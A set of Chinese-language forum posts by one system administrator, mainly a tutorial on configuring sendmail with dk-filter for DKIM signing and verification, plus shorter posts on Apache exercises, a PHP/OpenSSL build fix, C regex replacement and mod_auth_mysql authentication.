此時建議您依自己的情況找一個支援 Milter 的 RPM 或是以 Source RPM 自己重做 RPM (rpmbuild),另外您也可以選擇
以 tarball 的方式做, tarball 的方式做會複雜許多,建議您多參考 Sendmail Compiling 一節說明
http://www.sendmail.org/tips/compiling.html
以我個人的例子來做介紹
代碼: [選擇]

$>cd sendmail-8.13.7
# 以下您也可以自己用 editor 編輯,若不了解請多參考上述 compiling link 的說明,篇幅所限(其實是我想偷懶),無法
# 一一說明
$>cat <<EOF >devtools/Site/site.config.m4
dnl # 可以在 cf 檔中使用 regexp
APPENDDEF(`confMAPDEF',`-DMAP_REGEX')
dnl # BDB , 這個是一定要的
APPENDDEF(`confENVDEF',`-DNEWDB')
dnl # MILTER 支援
APPENDDEF(`conf_sendmail_ENVDEF', `-DMILTER')
dnl # MILTER 不以 root 啟動
APPENDDEF(`conf_libmilter_ENVDEF', `-D_FFR_MILTER_ROOT_UNSAFE')
dnl # DNS 的一些函數
APPENDDEF(`confENVDEF',`-DDNSMAP')
dnl # MILTER,這個可以不用,但個人習慣除了 sendmail_ENVDEF 外,還會再加一次 ENVDEF
APPENDDEF(`confENVDEF',`-DMILTER')
dnl # STARTTLS, SMTPS 的東西
APPENDDEF(`confENVDEF',`-DSTARTTLS')
APPENDDEF(`conf_sendmail_ENVDEF', `-DSTARTTLS')
dnl # Complier 時所需的一些 include/lib 相關位置
APPENDDEF(`conf_sendmail_LIBS', `-lssl -lcrypto')
APPENDDEF(`confLIBDIRS',`-L/usr/local/ssl/lib -L/usr/lib -L/usr/local/lib')
APPENDDEF(`confINCDIRS',`-L/usr/local/ssl/include -I/usr/include/sasl')
APPENDDEF(`confINCDIRS',` -I/usr/include -I/usr/local/include')
APPENDDEF(`confLIBS',`-lsasl2 -lcrypt -lssl -lcrypto -lmilter')
dnl # SASL , SMTP AUTH 的東西
APPENDDEF(`confENVDEF',`-DSASL2')
define(`confAUTH_OPTIONS',`p')
dnl # TCP WRAPPER , 以便可以使用 /etc/hosts.{allow,deny} 的一些功能
APPENDDEF(`confENVNEF',`-DTCPWRAPPERS')
APPENDDEF(`conf_sendmail_LIBS', `-lwrap')
EOF

$>sh Build -c
#這裏會進行 Compiling,理論上不會有什麼 Error , 如果有 Error 需視狀況處理

$>service sendmail stop
$>service sendmail stop
$>service sendmail stop
$>killall -9 sendmail
$>sh Build install

# 下面路徑 sendmail-cf 視您的環境而定,主要是看您的 sendmail.mc 中的 include 位置為何
$>cp -Rf cf/* /usr/share/sendmail-cf  
$>cd /etc/mail

# 直接使用原來的 sendmail.mc 即可
$>m4 sendmail.mc > sendmail.cf
$>service sendmail start

# 檢查 sendmail Compiling 的項目,是否出現 MILTER
$>sendmail -d0 </dev/null


以上只是做 sendmail 的昇級,安裝,支援 Milter, 重新啟動等等動作,目的是要讓您的 sendmail 可以加載其他的 Mail Filter,
如果您的 sendmail 巳經支援 MILTER 那重做 SENDMAIL 是不需要的,不過 dk-filter 要求 sendmail 最低版本需 8.13.X,
所以若您不是使用 8.13.X ,您必需找 rpm 來裝或是自己用 tarball 來裝(用 Source RPM 也很簡單的),如果您的 Sendmail 巳是
8.13.X 且支援 MILTER,那第一節部份您是可以不用管的
.

2. 安裝 Domain Key Filter (dk-filter)
2.1 下載與安裝
project 網址為 https://sourceforge.net/projects/dk-milter/ , 撰寫本文時版本為 0.5.1,因為 DKIM 的標準尚
在討論中,但基本鶵形巳經有共識,相信未來只是 wording 的工作,但是內容並不會有太大的改變
(註:我用 0.5.1 無法通過 Yahoo 的 DKIM 認證, 0.4.1 是最多人用的)

代碼: [選擇]

$>wget http://superb-west.dl.sourceforge.net/sourceforge/dkim-milter/dkim-milter-0.4.1.tar.gz
$>tar -zxvf dkim-milter-0.4.1.tar.gz
$>cd dkim-milter-0.4.1
$>sh Build -c
# 如果 compiling 時有 SSL 相關的函數出錯,請修改 dk-filter/Makefile.m4 中的
# APPENDDEF(`confINCDIRS', `-I/usr/local/ssl/include ')
# APPENDDEF(`confLIBDIRS', `-L/usr/local/ssl/lib ')
# 到對應的路徑
$>sh Build install




2.2 了解 dk-filter 參數的涵意
代碼: [選擇]

$>dk-filter -h
-a peerlist     file containing list of hosts to ignore   # 那些 host 不做 DKIM check
-A              auto-restart                              # dk-filter 死掉時自動重啟
-b modes        select operating modes                    # s (singer) / v (verify) 預設為 sv
-c canon        canonicalization to use when signing      # 預設是 simple (表頭不改變),
                                                          # 另外為 relaxed (表頭可能修正,去除空白,不換行等等)
-C config       configuration info (see man page)         # 設定檔,詳見下述
-d domlist      domains to sign                           # 要 sign 的 domain 列表,以逗號區隔
-D              also sign subdomains                      # 一併 sign -d 之下 domain 的 sub-domain
-f              don't fork-and-exit                       # 前景執行
-h              append identifying header                 # 會在 Mail Header 中加入 X-DomainKeys 資訊
-H              sign with explicit header lists           # DomainKey-Signature 中說明 sign 的 header 資訊
-i ilist        file containing list of internal (signing) hosts # 只做 sign, 不做 verify,預設為 127.0.0.1
-I elist        file containing list of external domain clients  # 透過此主機轉信之來源做 sign,不做 verify
-l              log activity to system log                # log 必要訊息到 maillog
-m mtalist      MTA daemon names for which to sign        # MTA 名字,也就是 DaemonPortOptions 中的 Name,預設是全部
-M macrolist    MTA macros which enable signing           # 不詳,沒用過
-o hdrlist      list of headers to omit from signing      # 那些 Header 不 sign,Ex: -o to,subject,date , From 一定要 sign
-P pidfile      file to which to write pid                # pid file 路徑
-s keyfile      location of secret key file               # private key
-S selector     selector to use when signing              # selector,會以 selector._domainkey.Domain 進行 type=TXT 查詢
-u userid       change to specified userid                # 以什麼身份執行
-V              print version number and terminate        # 版本資訊



上述參數的 hosts 格式可以是 IP,Domain 例如:
代碼: [選擇]

# hosts format for dk-filter
1.2.3.4
100.100/16
eai1.twnic.tw
.twnic.net.tw


上述參數 -C config 檔中的設定方法,
代碼: [選擇]

#result=action,result=action,...,括號內為簡寫
#Results:
# 依序為認證失敗,DNS 錯誤,Milter 內部錯誤,沒有 DKIM 欄位,沒有簽章欄位(b=)
badsignature(bad)
dnserror(dns)
internal(int)
nosignature(no)
signature-missing(miss)

#action:
# 依序為 同意,丟棄,臨時失敗,拒絕
accept(a)
discard(d)
tempfail(t)
reject(r)


所以若要拒絕沒有 DKIM 的信件,對於內部錯誤回應臨時失敗,拒絕認證失敗的信件即為 -C bad=r,no=r,int=t

2.3 建立 dk-filter running script
建立 /etc/sysconfig/dk-filter 檔
代碼: [選擇]

#!/bin/bash

#以下請自行調整,主要為對應啟動時的參數
SOCKET="inet:8891@localhost"
CANON="simple"
DOMAIN=$(hostname)
PRIVATE_KEY="/etc/mail/abelyang.private"
USER=smmsp
HEADER_IGNORE="subject,date,message-id,to"
SELECTOR=$(date +%Y)
FILTER_RULE="bad=r,dns=r,int=r,no=a,miss=r"


建立 /etc/rc.d/init.d/dk-filter 啟動程式
(這裏有點隨便寫,能夠 start/stop 而以,但不能對應到 chkconfig 使用 =.=)
代碼: [選擇]

#!/bin/bash

RETVAL=0
prog="dk-filter"

if [ -x /usr/bin/$prog ] ; then
    PROGDIR=/usr/bin
elif [ -x /usr/local/bin/$prog ] ; then
    PROGDIR=/usr/local/bin
else
    exit 0
fi


SOCKET="inet:8891@localhost"
# Source configuration
if [ -f /etc/sysconfig/$prog ] ; then
    . /etc/sysconfig/$prog
fi

start() {
    ulimit -s 2048
    $PROGDIR/$prog -H -h -l -P /var/run/dk-filter.pid   \
        $([ -n "$FILTER_RULE" ] && echo "-C $FILTER_RULE") \
        $([ -n "$DOMAIN" ] && echo "-d $DOMAIN") \
        $([ -n "$SELECTOR" ] && echo "-S $SELECTOR") \
        $([ -n "$PRIVATE_KEY" ] && echo "-s $PRIVATE_KEY") \
        $([ -n "$CANON" ] && echo "-c $CANON") \
        $([ -n "$USER" ] && echo "-u $USER") \
        $([ -n "$HEADER_IGNORE" ] && echo "-o $HEADER_IGNORE") \
        -p $SOCKET
    echo $cmd
    echo

    # Start daemon
    echo  "Starting $prog: [OK]"
    [ -e $SOCKET ] && rm -f $SOCKET
    return $RETVAL
}

stop() {
    # Stop daemon
    echo -n "Shutting down $prog: [OK]"
    killall -9 $prog
    RETVAL=$?
    echo

    [ -e $SOCKET ] && rm -f $SOCKET

    # Stop daemon
    echo -n "Shutting down $prog: "
    killproc $prog
    echo
    [ -e $MX_SOCKET ] && rm -f $MX_SOCKET
}

# See how we were called.
case "$1" in
    start)
    start
    ;;
    stop)
    stop $2
    ;;
    restart)
    stop
    start
    RETVAL=$?
    ;;
    *)
    echo "Usage: $0 {start|stop|restart}"
    exit 1
esac

exit $RETVAL




以上都只是軟體的準備動作,接下來我們要做的就是實際的簽章部份了


3. 設定 DKIM 的 private/public key 及建立 DNS 資訊
DKIM 的 key 使用 rsa 加密,不需要經過 CA 認證,所以 key 值都是由自己建立的,而一般會建議 key 長度小於 1024,主要
是因為最後要把 public key 放到 DNS 資訊記錄中,若 key 太長會造成 DNS 封包放不下,容易發生一些副作用,所以這是做
key 時要注意的地方 (一般 DNS query 稱為 basic query, udp 最大只能 512 bytes, 若要超過 512 bytes, 則 DNS query
需轉為 53/TCP,並設立模式為 truncate , 或是使用 EDNS0,讓 DNS 的回應可以大於 512 個 bytes)

3.1 手動產生 key
手動建立 key:
代碼: [選擇]

#private key
$>openssl genrsa -out rsa.private 1024
Generating RSA private key, 1024 bit long modulus
..................++++++
..................................................................++++++
e is 65537 (0x10001)

#publick key
$>openssl rsa -in rsa.private -out rsa.public -pubout -outform PEM
writing RSA key

#以上即可建立完成


安裝 dk-filter 時,裏面附了一個 gentxt.csh  (在 dk-filter 目錄裏),可以直接使用它來產生 key 及 DNS Record 內容
代碼: [選擇]

$>./gentxt.csh 2006 eai1.twnic.tw
2006._domainkey IN TXT "g=; k=rsa; t=y; p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDH/mYXWTmnFBrqjU8SQIJCXz+iO4H5JPRrg8zwmlKV0mgYpPCRthUVGa0hGyi6D+hNqvskd+0rCoLtpztoGexDRKnc OOd6VBy5OzKwupLXEoDa8tTc1g2CvdxVnt2r5Q8/3rbdf/3Uw17TugxdAidJD2Fb QIPo3hCbZ0izGE9OEQIDAQAB" ; ----- DomainKey 2006 for eai1.twnic.tw

# g= 表示 local-part (username 為任意,如果有 i= 時,要對應這個 g= 為 i= 的 local-part, 好像有看沒有懂,主要
# 是因為參數太多了,建議若有心人可以多看看 DKIM 的文件才能懂)

# k=rsa 表示 key 的演算法,這裏為固定用法
# t=y 表示測試 (其他參數講了只會讓大家困擾,怒我就不寫了,請參考 DKIM Draft)

此時 gentxt.csh 會在目錄下建立 2006.private 及 2006.public,而輸出的是你要放在 DNS 中的資料,所以需要在 DNS 建
立這個 DomainKey 的資料
代碼: [選擇]

#named.conf
zone "twnic.tw" { type master;file "twnic";};

# file "twnic"
$TTL 3600
@ IN SOA ...略
; 其他 RR 略

$ORIGIN _domainkey.eai1.twnic.tw.
IN TXT "g=; k=rsa; t=y; p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDH/mYXWTmnFBrqjU8SQIJCXz+iO4H5JPRrg8zwmlKV0mgYpPCRthUVGa0hGyi6D+hNqvskd+0rCoLtpztoGexDRKnc OOd6VBy5OzKwupLXEoDa8tTc1g2CvdxVnt2r5Q8/3rbdf/3Uw17TugxdAidJD2Fb QIPo3hCbZ0izGE9OEQIDAQAB" ; ----- DomainKey 2006 for eai1.twnic.tw
2006 IN TXT "g=; k=rsa; t=y; p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDH/mYXWTmnFBrqjU8SQIJCXz+iO4H5JPRrg8zwmlKV0mgYpPCRthUVGa0hGyi6D+hNqvskd+0rCoLtpztoGexDRKnc OOd6VBy5OzKwupLXEoDa8tTc1g2CvdxVnt2r5Q8/3rbdf/3Uw17TugxdAidJD2Fb QIPo3hCbZ0izGE9OEQIDAQAB" ; ----- DomainKey 2006 for eai1.twnic.tw
2007 IN TXT "g=; k=rsa; t=y; p=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" ; 2007

2006,2007 是 Selector,是指在做 DKIM DNS query 時要前置的名稱,用什麼名稱都可以,我的用意是在表示 2006 年我用這個
 key, 2007 年我另一個 key,這裏面並沒有什麼強制規定,只要你的 Mail Header ,DKIM中標示 s=XXXX,d=DOMAIN , 那收信對
方就會看這個 s=XXXX 做 XXXX._domainkey.DOMAIN 的 type=TXT 查詢,如以本例即為

代碼: [選擇]

# 查詢 2006._domainkey.eai1.twnic.tw 的 TXT Record
[root@eai1 dk-filter]# dig 2006._domainkey.eai1.twnic.tw txt

; <<>> DiG 9.3.0 <<>> 2006._domainkey.eai1.twnic.tw txt
;; global options:  printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 52003
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 1

;; QUESTION SECTION:
;2006._domainkey.eai1.twnic.tw. IN      TXT

;; ANSWER SECTION:
2006._domainkey.eai1.twnic.tw. 60 IN    TXT     "g=\; k=rsa\; t=y\; p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDu1KF+c7ucCeilrmo1FH1nDEpt7DT4J4y71iGgKtpGfOo3/dEtLyw5t75VUKKwkAmmvUBVZACciqj/aZoujVXKnSSK4DDhbpLcRA3wABczUNCXe12izP6brTDxrfkg1yi+b+rwsqyAWkiMR32f6/9i/5o9chRl3uWyDoMIWHqY6QIDAQAB"

;; AUTHORITY SECTION:
twnic.tw.               86400   IN      NS      twnic.net.tw.

;; ADDITIONAL SECTION:
twnic.net.tw.           86400   IN      A       211.72.210.250

;; Query time: 3 msec
;; SERVER: 211.72.210.250#53(211.72.210.250)
;; WHEN: Thu Jul 20 10:39:16 2006
;; MSG SIZE  rcvd: 334



所以不論您以手動建立 KEY,並存入 DNS Record 中 (如上例),或使用 dk-filter 附的 gentxt.csh 產生 key 並抄至
DNS 中,其實都是一樣的,而後記得將 private key 保存好 (通常我都放到 /etc/mail 中),我用年區分主要用意在於強
迫自己每年要換一次 KEY

以上,我們做了 Sendmail MILTER 支援與否的確認,並且安裝了 dk-filter,產生了 private/public key,並建立了
對應的 DNS 資料,這些動作都是分開的,您那一個先做後做都沒有關係,上述的說明您可依章節獨立來看也可以,因為
我們尚未為 sendmail 和 dk-filter 建立溝通方式(socket),所以是沒有關係的



4. 修改 sendmail.mc 及測試

4.1 修改 sendmail.mc
要讓 Sendmail 能加入 DKIM 檢查需在 sendmail.mc 中加入必要資訊
代碼: [選擇]

#在 sendmail.mc 的 Mailer 之前加入

dnl # 前略
dnl # 讓 MILTER 的 log 能出到最詳細資料,初學時要注意,資訊多一點有利於您的判讀,若熟悉了可以拿掉或調回到4以下
define(`confMILTER_LOG_LEVEL',`99')

dnl # 讓 Sendmail Log 到 15 以上,可以看見詳細的郵件溝通過程,但 maillog 會長很快
define(`confLOG_LEVEL',`15')

dnl # 加入 dk-filter ,進行 DKIM 的 sign/verify 動作 (mode=s,v,sv)
INPUT_MAIL_FILTER(`dkim-filter', `S=inet:8891@localhost')

dnl # 後略




4.2 啟動 dk-filter 及 sendmail
做好修改 sendmail.mc 動作好重新產生 sendmail.cf,並先確認 dk-filter 巳執行中,重新啟動 sendmail,
(切記, dk-filter 要先執行,才跑 sendmail,而後 dk-filter 有重啟都沒有關係)
代碼: [選擇]

$>m4 sendmail.mc > sendmail.cf
$>/etc/rc.d/init.d/dk-filter start
$>(確認 dk-filter 巳執行中)
$>service sendmail restart



如此即完成了 sendmail DKIM 的功能,而初步完成後建議您先進行測試,以了解 sign 的功能是否正常

4.3 發信測試,Local Mail
試發一封寄給自己的信,確認其內容是否有 DKIM 訊息
代碼: [選擇]

$>echo "" | mail abelyang -s "DKIM testing"
$>mail -u abelyang
看到的信件內容
From root@eai1.twnic.tw  Thu Jul 20 11:16:05 2006
X-Spam-Checker-Version: SpamAssassin 3.1.3 (2006-06-01) on eai1.twnic.tw
X-Spam-Level:
X-Spam-Status: No, score=0.0 required=5.0 tests=DK_POLICY_SIGNSOME,
        DK_POLICY_TESTING,DK_SIGNED,SPF_HELO_PASS,SPF_PASS autolearn=failed
        version=3.1.3
X-DomainKeys: Sendmail DomainKeys Filter v0.4.1 eai1.twnic.tw k6K3G5FJ011141
DomainKey-Signature: a=rsa-sha1; s=2006; d=eai1.twnic.tw; c=simple; q=dns;
        h=received:from;
        b=rt7TfR5smobv7WnmQjddlRYWUNKCoIVwbUQZ9nek0xMOFlRqbXWMU9Es65ljpN1Yz
        gMk9izKfxbMCkE8YE4BDmEczrWJ7bLKAHkXBS5gulx/l3t+cNBiP3KbQtAJ8LjJVTCe
        kMEmp8+FVUkobhVVTxlJya9AkgEN2Cdnsc1WYhg=
Date: Thu, 20 Jul 2006 11:16:05 +0800
From: root <root@eai1.twnic.tw>
To: abelyang@eai1.twnic.tw
Subject: DKIM testing


看起來無誤,這其中的 X- 分別是 spamassassin 及 dk-filter 所加的,而個人測試主機之 spamassassin 有啟動 DKIM 及 SPF 的檢
查,所以 X-Spam-Status 中會有相關的資訊,但這個不是個人的重點

重點是這個 Header
代碼: [選擇]

DomainKey-Signature: a=rsa-sha1; s=2006; d=eai1.twnic.tw; c=simple; q=dns;
        h=received:from;
        b=rt7TfR5smobv7WnmQjddlRYWUNKCoIVwbUQZ9nek0xMOFlRqbXWMU9Es65ljpN1Yz
        gMk9izKfxbMCkE8YE4BDmEczrWJ7bLKAHkXBS5gulx/l3t+cNBiP3KbQtAJ8LjJVTCe
        kMEmp8+FVUkobhVVTxlJya9AkgEN2Cdnsc1WYhg=
a= 表示加密方式
s= 為 selector
d= 為 Domain
c= 為 canon 方式,預設為 simple
q= 為 query 方式,目前只有 dns
h= 為以那些 Header 做簽證動作,因為我去掉了 (-o) 一些,所以 h= 那些
b= 簽證後的值,這個值為 base64


因為是自己發給自己(127.0.0.1),所以不會有 verify 的動作,我們現在用 telnet 來測試一下
代碼: [選擇]

[root@eai1 dk-filter]# telnet eai1.twnic.tw 25
Trying 211.72.210.249...
Connected to eai1.twnic.tw.
Escape character is '^]'.
220 eai1.twnic.tw ESMTP Sendmail 8.13.6/8.13.6; Thu, 20 Jul 2006 11:24:38 +0800
ehlo eai1.twnic.tw
250-eai1.twnic.tw Hello eai1.twnic.tw [211.72.210.249], pleased to meet you
250-ENHANCEDSTATUSCODES
250-PIPELINING
250-8BITMIME
250-SIZE
250-DSN
250-ETRN
250-AUTH CRAM-MD5 LOGIN PLAIN
250-DELIVERBY
250 HELP
mail from: <abelyang@eai1.twnic.tw>
250 2.1.0 <abelyang@eai1.twnic.tw>... Sender ok
rcpt to: <abelyang@eai1.twnic.tw>
250 2.1.5 <abelyang@eai1.twnic.tw>... Recipient ok
data
354 Enter mail, end with "." on a line by itself
Date: Thu, 20 Jul 2006 11:16:05 +0800
From: root <root@eai1.twnic.tw>
To: abelyang@eai1.twnic.tw
Subject: DKIM testing

.
554 5.7.1 Command rejected


因為此時我們用的 IP 為 211.72.210.249,所以對於來信沒有 DKIM (nosig), 我們設定了 no=r, 所以信件就不收,即會
出現這樣的訊息. 依 DKIM 的 Draft 的願景,首重先推廣 DKIM,待 DKIM 有一定程度的普及後才會到 reject 的可能,但
我的用意在做說明,所以本文用的是沒有 sign 就 reject, 當然您可以不用 -C 參數,就不會有這樣的情況發生了


4.4 發信測試,外部
Yahoo 的 mail 目前有 DKIM,所以是我們最佳的測試目標,我們可以試發 Mail 到 yahoo.com.tw 上的帳號上進行測試,這
個測試主要在於了解自己的 DKIM 是否設定正確
yahoo mail 結果


由以上可知,這樣的過程是 OK 的, Yahoo 對我的來信進行了 Verify, 並且確認了這個信件是來自於我的 Domain,
若反向而為,從 Yahoo 向我的 Mail Server 發信,可以發信,但是 Yahoo 的 mail 發向我的信會有問題,這個問題在 maillog
會出現:
代碼: [選擇]

Jul 21 16:52:25 eai1 sendmail[15482]: k6L8qPC4015482: milter_read(dkim-filter): cmd read returned 0, expecting 5
Jul 21 16:52:25 eai1 sendmail[15482]: k6L8qPC4015482: Milter (dkim-filter): to error state

這是 dk-filter 目前的 bug, 至預計下一版才會進行修正,不過目前巳有 0.5.1 版且此版本較能 follow DKIM draft, 但顯然
Yahoo 的 DKIM 只能配合到原來的 Draft-03 (意即 dkim 0.4.1 版),所以本處的介紹即以 0.4.1 版為主,而 0.5.1 版的使用
僅是大同小異(參數略有不同),而我們在使用 DKIM 發信給 Yahoo 時,使用 0.4.1 版 Yahoo 能夠正確的辨認我們的 Key 對不
對,而使用 0.5.1 因為一些欄位 Yahoo 看不懂,所以它就會認為我們送的信沒有 key (nosig),反而造成它無法認為我們使用
DKIM.



5. 結語
即使 DKIM 立意雖不錯,但是仍不能預防 SPAM,因為 SPAMER 可以 follow 標準(Draft),而 verify 一樣會 pass,所以個人並不
期待它能有多大的效果,但是 DKIM 對於信確實由這個網域名稱所發出的檢查是能正確驗證的,而對於我所使用的 DKIM 所發出來
的信件,它仍歸類為垃圾郵件
(我有反解,且正反解一致,也有 DKIM),所以可以知道的是它不是僅以反解或 DKIM 來判斷
一封郵件是否為 Spam,也和郵件內容的長短無關,而可能是其他因素所致.

參考:
1. http://www.atmarkit.co.jp/fsecurity/special/88domainkeys/dk04.html
2. http://www.erikberg.com/notes/milters.html
3. http://www.elandsys.com/resources/sendmail/dkim.html

附錄1, dk-filter 0.4.1 Header,DKIM Draft 02 版 Mail Header
代碼: [選擇]

DomainKey-Signature:a=rsa-sha1; s=2006; d=eai1.twnic.tw; c=simple; q=dns;
h=received:from;
b=YM3a3E8rF5sQy+0Mb8K0G7bkQ8Nq3gPEfoY8nZtk9TOlHsiyFEYPtQbMXi50Eo9Wd
TJ2Fa61BHNsUrm6PYH9En8MaRF1zI3HgLms6GELpChbF2bYjrAXqu9hhjWpxzUDZoI2
DlG6rPSiC39bviTqDUDuCpAY+Ssw6LuNp6FyY5Q=


附錄2, dkim-filter 0.5.1 Header , DKIM Draft 03 版 Mail Header
代碼: [選擇]

DKIM-Signature: a=rsa-sha1; c=relaxed/simple; d=eai1.twnic.tw; s=2006; t=1153707289; bh=sN3ES5nmlXy4I3QtCSbftYMZfrY=;
h=Received:Date:From:Message-Id:To:Subject;
b=kyZaJUnHKfUX0IyzjDRpvz/FrT0XQXLt08WhGf/s5L
gSFqlrAgJAQ5jb5gsIqhLBLW5HZBJbGSf87RdUilKE8BvuphrERJikgYbPthuieK6ce
oxlC9JGGrb9joKnZ/X3HYTLo1iUyveC6QsAQ4T1zGcnkPK8dTJ95hXeXnK87ZM=

# t= 表示 sign 的時間,而 bh= 表示 Body 的 sign 結果,c= 也進行了一些調整

5
報名網址(目前僅台中/高雄免資格限制)
http://dns-learning.twnic.net.tw/DNS94/
(供講義/中餐)

報名時,資料部份,網域名稱部份請填寫您的大名,
而密碼欄位不需填寫,因還有不少名額,為免資源浪費,
歡迎大家多加利用

6
酷!學園 精華區 / MSN Alert Testing
« 於: 2005-06-13 16:41 »
http://211.72.210.251/msn/msn.php

或以
wget 'http://211.72.210.251/msn/msn.php?&txt1=你要送的MSN連絡人&msg=傳送的訊息第一行\n第二行&smt1=send'

還請有閒的人幫我測看看或提供意見

感謝

7
Linux 討論版 / 出個練習給大家(二)--Apache
« 於: 2004-08-18 19:28 »
1. VirtualDocumentRoot + PHP 的 web hosting 有那些安全問題要注意 ?如何克服 ?
2. Apache 支援 PHP script, 如何在特定目錄使其不支援 PHP script,而成文字解釋!?
3. HTTP Authorization (HTTP Return Code 401) 如何以 telnet 登入?
4. 如何將盜連另存成一個  log file?
5. 如何實現 Apache Log 依 virtualhost 每天自動備份一次成 $virtualhostname-年-月-日_access.log 而 Web 不重新啟動仍能記錄 ?
6. 如何使用 R-Proxy  達到 HTTP 訪問的負載平衡(Round Robin),且 Log 集中 ?
7. 如何使用 mrtg 畫出每個 virtualhost in/out 流量資訊 ?
8. 如何在收到 IIS worm (ex:CodeRed..Nimda) 的連線後,即時更新 Cisco 設備的 ACL 或 iptables 阻檔該 IP 持續傳送 ?


提目有點偏  :oops: ....有興趣者想想或找答案 .

8
PHP程式設計討論區 / HTTP Auth 問題
« 於: 2004-07-13 16:23 »
http://username:password@host 格式下
想請教大家,有人知道 username 若含有@ 字符
該如何 escape 它呢?
例如:
http://abelyang@hotmail.com:passwd@phorum.study-area.org


這個abelyang@ 的 @ 符號要如何處理 ?
(依RFC 定義USERNAME 不能含@, 但它的確是含了)


我寫一個 spam filter, 要登錄這個地方 http://members.spamcop.net/,
自動貼它的格式

ps: 我知道寄的如何處理,但純研究,對那個 username 含@ 好奇

9
Linux 討論版 / 出個練習給大家
« 於: 2004-06-28 14:07 »
http://www.cwb.gov.tw/V4/weather/ob/index-ob.htm
這是 CWB 的現在天氣...

請以 mrtg 或 rrdtool 或其他網頁工具,
畫成
某地 之 ==> 氣溫圖/相對溼度/氣壓  圖等資訊

請多注意網頁說明文字...

這個練習著重在 ` ` , $(expr) , sed , 及對 tool 的了解程度
(當然,也不是只用 shell script,可用任何 language )

無聊...僅供大家練習參考

做好的別忘讓大家參考...互相學習

10
工作機會 / 找人....
« 於: 2004-06-23 11:33 »
http://www.104.com.tw/cfdocs/2000/job2000/introduce.cfm?jobsource=checkc&invoice=17597502000

工程師那項,
請留意...英文要好...,至於待遇/福利/工作內容我個人覺得這個工作都蠻好的 (特休是算勞保年資,不是在公司時間...,如果你做了三年,來了特休就是 十幾天 除 12 分之幾那樣)
就看你的能力了,(這個工作社交能力最重要,技術次之)

註:懂 IP Routing, IPv6, 英文精通機會很大


助理那一項,看看就好

11
網頁技術 / php-4.3.6
« 於: 2004-05-14 17:17 »
在裝時發現 openssl 一直有問題 ..
我用的是 openssl-0.9.6m
換幾個 ssl 版本發現都不行,因為會找不到
OpenSSL_add_all_algorithms(); 這個 func 的錯誤

請在 ext/openssl/opeenssl.c 中將這一行 mark 起來
 即可,因為那一行做的事就是
OpenSSL_add_all_ciphers();
OpenSSL_add_all_digests();

給有遇到的看一下

12
最近在寫一個 RE 的程式,一般的 match 狀況都很好處理
像:
代碼: [選擇]
regex_t *pattern_buffer;
struct re_registers regs;
int ret=0;
pattern_buffer=(regex_t *) malloc( sizeof(regex_t));
pattern_buffer->buffer = NULL;
pattern_buffer->allocated = 0;
pattern_buffer->used = 0;
pattern_buffer->fastmap = NULL;
pattern_buffer->fastmap_accurate = 0;
pattern_buffer->translate = NULL;
pattern_buffer->can_be_null = 0;
pattern_buffer->re_nsub = 0;
pattern_buffer->no_sub = 0;
pattern_buffer->not_bol = 0;
pattern_buffer->not_eol = 0;
re_compile_pattern( dst,
                      strlen(dst),
                      pattern_buffer);
cflags = REG_NEWLINE | REG_EXTENDED;
id = regcomp( pattern_buffer, dst, cflags);
...

像 re_match, re_search (GNU),regexec (POSIX) 等都是 search
而以,而我要的功能是 replacement , 如 sed 等
1234567890  123\(.*\)0 , 的 \1 要取 456789
我在想,這像的功能以 RE 來看是較有可能的,
不過又沒有 function,我也去看了 sed 的 source code ,
不過實在有點復雜 ....

想請教,是否有人知道如何處理 ?
或是提供一個參考方向 ?
google 我也找了不少了,但尚無什麼頭緒

13
Linux 討論版 / [分享] Apache+mysql 認證介紹
« 於: 2004-02-24 17:30 »
[分享] Apache+mysql 認證介紹

說明
一般使用 Apache 的認證,相信大多數人皆使用 .htaccess + htpasswd 的方式,
這種方式唯一的缺點多是你無法從網頁管理介面去增刪user,即使有方法亦會較
費事,而 mod_auth_mysql 即提供了從 mysql 的 table 來做認證,更增加了系
統的彈性,若有心再加上 libnss-mysql 即可同享同一個認證來源.
不過由於 Apache 有兩種版本 1.3.x 及 2.x,而這兩個版本的 DSO 的 hook API
不同,所以 mod_auth_mysql 也就有編譯即有兩種版本,以下分別依序介紹 1.3.x 及 2.x


下載與安裝
http://heanet.dl.sourceforge.net/sourceforge/modauthmysql/mod_auth_mysql.tgz

代碼: [選擇]

$>wget http://heanet.dl.sourceforge.net/sourceforge/modauthmysql/mod_auth_mysql.tgz
$>tar -zxvf mod_auth_mysql.tgz
$>cd mod_auth_mysql
# 請注意這個 tarball 沒有 autoconf 也沒有 Makefile , 您要仔細看一下 README 的說明
# 其主要則是以 apxs 程式這個來產生 DSO 檔
# Apache 1.3.x 的做法 編譯 DSO
$>apxs -c -D APACHE1 -lmysqlclient -lm -lz mod_auth_mysql.c -L/usr/lib/mysql
# 安裝 DSO
$>apxs -i mod_auth_mysql.so

設定 1.3.x 的 httpd.conf 中的部份
LoadModule mysql_auth_module modules/mod_auth_mysql.so
AddModule mod_auth_mysql.c

#-------------------------------2.X----------------------
# Apache 2.x 做法
$>apxs -c -D APACHE2 -L/usr/lib/mysql -I/usr/include/mysql -lmysqlclient -lm -lz mod_auth_mysql.c

設定 2.x 的 httpd.conf 中的部份
LoadModule mysql_auth_module modules/mod_auth_mysql.so



設定 .htaccess 組態

代碼: [選擇]

#網頁的 .htaccess 設定

AuthName "mod_auth_mysql 測試登入"
AuthType Basic
# 以下為連結 mysql 參數
AuthMySQLHost Mysql_IP
AuthMySQLDB auth
AuthMySQLUser nss
AuthMySQLPassword nss-password
# 使用認證的 TABLE , 及其中的 username 及 passwd 欄位
AuthMySQLUserTable users
AuthMySQLNameField username
AuthMySQLPasswordField password
# 下列三種選一,建議您使用 Crypt
AuthMySQLCryptedPasswords On
#AuthMySQLScrambledPasswords Off
